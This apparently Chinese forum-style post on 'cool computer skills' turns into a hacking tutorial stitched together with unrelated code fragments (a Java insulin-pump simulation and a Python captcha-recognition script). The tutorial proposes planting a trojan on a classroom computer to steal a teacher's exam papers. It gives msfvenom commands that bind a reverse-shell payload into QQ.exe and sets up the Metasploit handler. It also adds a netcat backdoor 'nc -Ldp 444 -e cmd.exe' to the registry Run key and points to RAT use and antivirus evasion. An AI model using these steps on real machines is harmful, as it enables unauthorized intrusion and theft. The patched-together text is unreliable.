有哪些看起來很炫酷的電腦操作技能?
打段時間星際就知道了
以前,我在電腦街打工的時候,從安裝系統開始,到安裝驅動,到安裝軟體,全程不用滑鼠。
但是現在win10時代就不能那麼操作了。
我曾經想,你寫個程式,手機監測聲音,你一個響指就能讓計算機啟動或者關機算不算炫酷。
任何一個駭客技術都很酷炫
學會了你既能裝逼,又能做很多事情
如果你感興趣,用興趣來驅動的話,那絕對是沒有任何難度的
而且,越困難,對你來說,你興趣會越濃厚,越能激發你的興趣
具體怎麼做?
1、把一些常用駭客術語搞清楚,比如什麼叫webshell什麼叫注入,什麼叫旁註,還有一些常用工具的功能,比如nc,sc等等。還有就是當你遇到一個不明白的駭客術語時就應該首先搞清楚這個術語的意思,到百度或者GOOGLE先查好了他的意思。在進行學習,不可以朦朧的去接觸不懂的知識。要先搞清楚。
2。灰鴿子配置與使用:透過學習要達到正確配置灰鴿子並能正常上線。對它的功能進行操作訓練。這個不用說了,初級駭客聽得最多的就是鴿子了。
3。網頁木馬製作與傳播
4。網站入侵
5。木馬特徵碼修改
其實我覺得會用工具都不能稱為駭客,駭客是一個高大上的代名詞在程式設計界。像OpenSSL“心臟出血”這樣的漏洞發現者才能稱為駭客。他們都是程式設計高手,c/c++,組合語言才是正真駭客使用的工具。瞭解了程式執行原理,系統工作原理。這樣才會從本質上去攻克問題。
如果你是小白的話,剛開始學起來會有點吃力,建議你先去找一些學習資料
找一些例子,照著裡邊的demo練一下
練的多了,你水平就起來了
技術就是動手
多折騰
最好找一些水平高的技術老手帶你,我做了10年的技術,也可以跟著我來學
需要資料的話,我這裡有很多積累的乾貨,可以參考下圖找我交流
本人08年做技術到現在,對技術感興趣的小夥伴也可以跟我來學
import java。util。Timer;
import java。util。TimerTask;
public class PumpMain {
public static void main(String[] args) {
final Logger log = Logger。getLogger(PumpMain。class);
try {
log。addAppender(new FileAppender(new PatternLayout(“[%d{yyyy/MM/dd-HH:mm:ss}]-%m%n”), “/home/geekgao/insulinPumpLog”, true));
} catch (IOException e) {
e。printStackTrace();
}
final People people = new People();
final JFrame jFrame = new JFrame(“輸入體重”);
final double[] weight = new double[1];
jFrame。setLayout(new FlowLayout());
jFrame。addWindowListener(new WindowAdapter() {
@Override
public void windowClosing(WindowEvent e) {
weight[0] = 60;//關閉視窗的話,預設60公斤
super。windowClosing(e);
}
});
final JTextField textArea = new JTextField(“輸入您的體重(預設60公斤)”);
jFrame。add(textArea);
JButton jButton = new JButton(“確定”);
jFrame。add(jButton);
jButton。addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try {
weight[0] = Double。valueOf(textArea。getText());
jFrame。setVisible(false);
} catch (NumberFormatException e1) {
JOptionPane。showMessageDialog(null, “數字格式不對”);
}
}
});
jFrame。pack();
jFrame。setLocationRelativeTo(null);
jFrame。setResizable(false);
jFrame。setVisible(true);
while (weight[0] == 0 && jFrame。isVisible() == true) {
try {
Thread。sleep(50);
} catch (InterruptedException e) {
e。printStackTrace();
}
}
http://
log。info
(“開機,使用者體重為” + weight[0] + “Kg”);
final InsulinPump insulinPump = new InsulinPump(weight[0]);
final PumpWindow pumpWindow = new PumpWindow(insulinPump);
people。start(); //人體執行
insulinPump。start(); //胰島素泵執行
Timer timer = new Timer();
很多小夥伴應該多多少少了解過一些駭客技術
駭客技術是特別酷炫的
學會了這方面的技術,不光能解決你日常生活中的很多問題
還能讓你在很多時候炫技,獲得別人的肯定
對於很多小夥伴來說,雖然感興趣,但是不知道怎麼去學這個技術
下面就簡單說說如何學習這個技術吧
大家應該都知道木馬程式
木馬程式就是用來攻擊別人的一種手段
那麼如何寫一個木馬程式呢?
舉個簡單的例子
比如你是學生
但是你這個學期沒有好好學習
然後就萌生了想要竊取老師的期末試卷的想法
那麼改如何實施步驟呢?
老師會用u盤
在老師用u盤的時候
你可以透過提前安放在電腦裡面的木馬程式遍歷老師的u盤指定的檔案格式到自己的u盤
下面說下具體操作步驟:
用msf生成的木馬植入教室的電腦,進而獲得目標電腦的許可權
這裡有兩種思路:
1, 在上課老師來之前將小馬植入電腦然後下課自動銷燬,但是這樣的作法有點危險,會有同學看到。或者入侵老師的電腦後上傳nc然後進行反連。
2, 還有一種是自己的遠控軟體,重點是免殺。
Msf對於我們應該不陌生,重點是它怎麼捆綁或者生成木馬
首先我們得有一個目標軟體。
然後執行命令
sfvenom -p
windows/meterpreter/reverse_tcp LHOST=192。168。44。141 -f exe -x /home/zhengai/桌面/QQ。exe -o /home/zhengai/桌面/test。exe
-p指的是使用的payload
-f 指的是輸出的檔案格式
-x -o 指的是輸入檔案路徑和輸出檔案路徑
LHOST=你自己的IP
這時可能會有小夥伴問了,就這樣裸奔嗎?這樣呢不怕被殺?像這樣
當然了我們有免殺。
如果你覺得麻煩想自己生成木馬的話,思路也是一樣的,只不過是直接去掉-x引數
當然了msf也集成了手機的payload,感興趣可以試試哦。在實踐之前我們先進行實驗
Msfconsole開啟msf端
use multi/handler可以先進入模組
然後show options檢視需要配置引數
這裡看到只需要配置LHOST,這裡有兩種配置方法,可以是自己的ip,也可以是目標主機的ip但是的話此馬只能在區域網內上線,不同的ip配置可以拿到不同的許可權。這裡我們直接配置目標主機的ip。
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192。168。44。131
set lport 4444
run
最最最重要的是目標主機要執行你的木馬,在實踐中你可以有很多方法讓目標主機執行,看你的能力了。然後我們就可以執行命令下載檔案了。下載命令是download 。更多有趣的命令等著你去挖掘。這裡還可以給目標主機上傳nc然後這就是你的電腦了,我們的目標是登錄檔,
Upload /root/nc。exe C:\\windows\\system32
然後修改登錄檔鍵值
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d ‘C:\windows\system32\nc。exe -Ldp 444 -e cmd。exe’
OK了現在你只需要連線即可。
到這裡,過程就講完了
其實技術就是為了解決需求而存在的
技術永遠都是一把雙刃劍
技術的好壞永遠都在於使用的人
如果你對駭客技術感興趣
可以參考下圖跟我來學
15年技術沉澱
sessiona = requests。Session()
headers = {‘User-Agent’:‘Mozilla/5。0 (Windows NT 10。0; Win64; x64; rv:47。0) Gecko/20100101 Firefox/47。0’,‘authorization’:‘oauth c3cef7c66a1843f8b3a9e6a1e3160e20’}
k3_confidence = 0。71
‘’‘
# 視覺化資料會被儲存在雲端供瀏覽
#
https://
plot。ly/~weldon2010/4
# 純屬學習,並未看出“角度”範圍擴大對影象識別的影響,大部分時候60s內能搞定,說明優圖還是很強悍的,識別速度也非常快
’‘’
runtime_list_x = []
runtime_list_y = []
nn = range(1,11) # 願意的話搞多執行緒,1百萬次更有意思
# 成功嘗試100次,形成2維資料以熱力圖的方式展示
for y in nn :
for x in nn :
runtime_list_x。append( bolting(-3,3,k3_confidence) )
print( “y: ” + str(runtime_list_y) )
print( “x: ” + str(runtime_list_x) )
runtime_list_y。append(runtime_list_x。copy())
runtime_list_x = []
print (“-”*30)
print( runtime_list_y )
print (“-”*30)
# pip install plotly 資料視覺化
import plotly
import plotly。graph_objs as go
plotly。tools。set_credentials_file(username=‘username’, api_key=‘username’) # 設定賬號,去官網註冊
trace = go。Heatmap(z = runtime_list_y , x = [n for n in nn ] ,y =[n for n in nn ])
data=[trace]
plotly。plotly。plot(data, filename=‘weldon-time2-heatmap’)
# 嘗試後發現一個特點,基本都是1~2個倒置中文,這樣我們可以藉此提速
# 角度範圍放大,僅當識別出倒置中文為1~2個時才提交驗證否則放棄繼續尋找
### chcp 65001 (win下改變cmd字符集)
### python c:\python34\image_recognition_zhihu。py